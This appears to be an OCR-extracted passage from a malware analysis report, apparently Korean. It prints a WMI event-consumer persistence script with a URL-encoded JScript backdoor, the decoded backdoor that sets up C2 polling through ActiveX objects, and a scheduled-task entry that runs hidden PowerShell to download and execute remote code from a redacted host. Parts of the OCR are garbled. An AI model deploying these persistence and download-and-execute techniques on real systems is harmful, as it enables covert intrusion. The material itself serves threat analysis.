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instance of ActiveScriptEventConsumer as $Consumer
{
Name = “MST.ConsumerScripts”;
ScriptingEngine = “JScript”;
ScriptText = “OFS = new ActiveXObject(’Scripting.FileSystemObject’);JF='C:/Windows/Temp/%Mutex%’;oMutexFile =
null;try{oMutexFile = oFS.OpenTextFile(JF, 2, true);}catch(e){}"”
“CoreCode = ' %6D%61%73%74%65%72%55%72%6C%20%3D%20%5B%27%68%74%74%70%3A%2F%2F%73%6F%63%69%61%6C%2E%74%65%63%6

8%6E%65%74%2E%6D%69%63%72%6F%73%6F%66%374%2E%63%6F36D%2F%50%72%6F%66%69%6C%65%2F%3C%52%45%44%41%43%54%45%44%3E%
27%5D%3B%20%76%61%72%20%50%72%6F%78%79%20%3D%20%5B%3C%50%52%4F%58%59%5F%52%45%44%41%43%54%45%44%3E%3A%38%30%27
%2C%27%3C%49%54%4F%5F%55%53%45%52%3E%27%2C%27%3C%49%54%4F%5F%55%53%45%52%5F%50%41%53%53%57%4F%52%44%3E%27%5D%
3B%20%63%61%6C%6C%55%72%6C%20%3D%20%27%27%3B%20%76%41%75%74%68%20%3D%20%27%27%3B%20%67%53%6C%65%65%70%20%3D%20
%$31%30%30%30%20%2A%20%36%30%20%2A%20%37%32%3B%20%76%53%6C%65%65%70%20%3D%20%35%30%30%3B%20%58%4D%4C%20%3D%20
%6E%65%77%20%41%63%74%69%76%65%58%4F%62%6A%65%63%74%28%27%4D%53%58%4D%4C%¥32%2E%53%65%72%76%65%72%58%4D%4C%48%54
%54%50%2E%36%2E%30%27%29%3B%20%6F%57%53%20%3D%20%6E%65%77%20%41%63%74%69%76%65%58%4F%62%6A%65%63%74%28%27%57%5
3%63%72%69%70%74%2E%53%68%65%6C%6C%27%29%3B%20%6F%4E%74%20%3D%20%6E%65%77%20%41%63%74%69%76%65%58%4F%62%6A%65%
63%74%28%27%57%53%63%72%69%70%74%2E%4E%65%74%77%6F%72%6B%27%29%3B%20%6C%6F%63%61%74%6F%72%20%3D%20%6E%65%77%20
%41%63%74%69%76%65%58%4F%62%6A%65%63%74%28%27%57%62%65%6D%53%63%72%69%70%74%69%6E%67%2E%53%57%62%65%6D%4C%6F%63%—
61%74%6F%72%27%29%3B%20%6F%57%4D%49%20%3D%20%6C%6F%63%61%74%6F%72%2E%43%6F%6E%6E%65%63%74%53%65%72%76%65%72%28%27%
2E%27%2C%20%27%72%6F%6F%74%5C%5C%63%69%6D%76%32%27%29%3B%20%6F%46%53%20%3D%20%6E%65%77%20%41%63%74%69%76%65%358%4F6
%26%3A6%56%37%42%82%75%36%37%26%97%07%46%96E267%2E%46%69%6C%65%53%79%73%74%65%6D%4F%62%6A%65%63%74%27%29%3B%20
%76%61%72%20%42%61%73%65%36%34%20%3D%20%7B%20%5F%6B%65%79%53%74%72%20%3A%20%22%41%42%43%44%45%46%47%48%49%4A%4B%4C%
4D%4E%4F%50%51%52%53%54%55%56%57%58%59%5A%61%62%63%64%65%66%67%68%69%6A%6B%6C26D%6E%¥6F%70%71%72%73%74%75%76%77%
78%79%7A%30%31%32%33%34%35%36%37%38%39%2B%2F%3D%22%2C%20%65%6E%63%6F%64%65%20%33A%20%66%75%6E%63%74%69%6F%6E%20
%28%69%6E%70%75%74%29%20%7B%20%76%61%72%20%6F%75%74%70%75%74%20%3D%20%22%22%3B%20%76%61%72%20%63%68%72%31%2C%20
%63%68%72%32%2C%20%63%68%72%33%2C%20%65%6E%63%31%2C%20%65%6E%63%32%2C%20%65%6E%63%33%2C%20%65%6E%63%34%3B%20%76%61%7~
2%20%69%20%3D%20%30%3B%20%69%6E%70%75%74%20%3D%20%42%61%73%65%36%34%2E%5F%75%74%66%38%5F%65%6E%63%6F%64%65%28%69%6E
%70%75%74%29%3B%20%77%68%69%6C%65%20%28%69%20%3C%20%69%6E%70%75%74%2E%6C%65%6E%67%74%68%29%20%7B%20%63%68%72%31%20
%3D%20%69%6E%70%75%74%2E%63%68%61%72%43%6F%64%65%41%74%28%69%2B%2B%29%3B%20%63%68%72%32%20%3D%20%69%6E%70%75%74%2E%63
%68%61%72%43%6F%64%65%41%74%28%69%2B%2B%29%3B%20%63%68%72%33%20%3D

0l T}2lof SOf Y= ATUEC| 162142 YB3HE RS Of2o BAIE HAER B5te|ALICt O
QB 5lE BAEO|L YT B TORLE RBE 15 50l HuI} 50| Y SRS T3} T2 A
F4E CHRRES URLO| Z8ts(0f ASUICH

masterUrl = [‘http://social.technet.microsoft.com/Profile/<REDACTED>']; var Proxy = [<PROXY REDACTED>:80’,’'<ITO US-
ER>','<ITO_USER_PASSWORD>']; callUrl = ‘’; vAuth = ‘’; gSleep = 1000 * 60 * 72; vSleep = 500; XML = new ActiveXOb-
ject (‘MSXML2.ServerXMLHTTP.6.0'); oWS = new ActiveXObject(‘WScript.Shell’); oNt = new ActiveXObject(‘WScript.Net-
work’); locator = new ActiveXObject(‘'WbemScripting.SWbemLocator’); oWMI = locator.ConnectServer(‘.’, ‘root\\cimv2’);
OFS = new ActiveXObject(’Scripting.FileSystemObject’); var Base64 = { _keyStr : “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi-
jklmnopgrstuvwxyz0123456789+/=", encode : function (input) { var output = “”; var chrl, chr2, chr3, encl, enc2, enc3,
enc4; var i = 0; input = Base64. utf8 encode(input); while (i < input.length) { chrl = input.charCodeAt(i++); chr2 =
input.charCodeAt (i++); chr3 =
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<Actions Context="Author”>

<Exec>

<Command>powershell</Command>

<Arguments>-w hidden -nologo -noninteractive -nop -ep bypass -c “IEX ((new-object net.webclient).download-
string(“”https://REDACTED"""))"

</Arguments>

</Exec>
</Actions>
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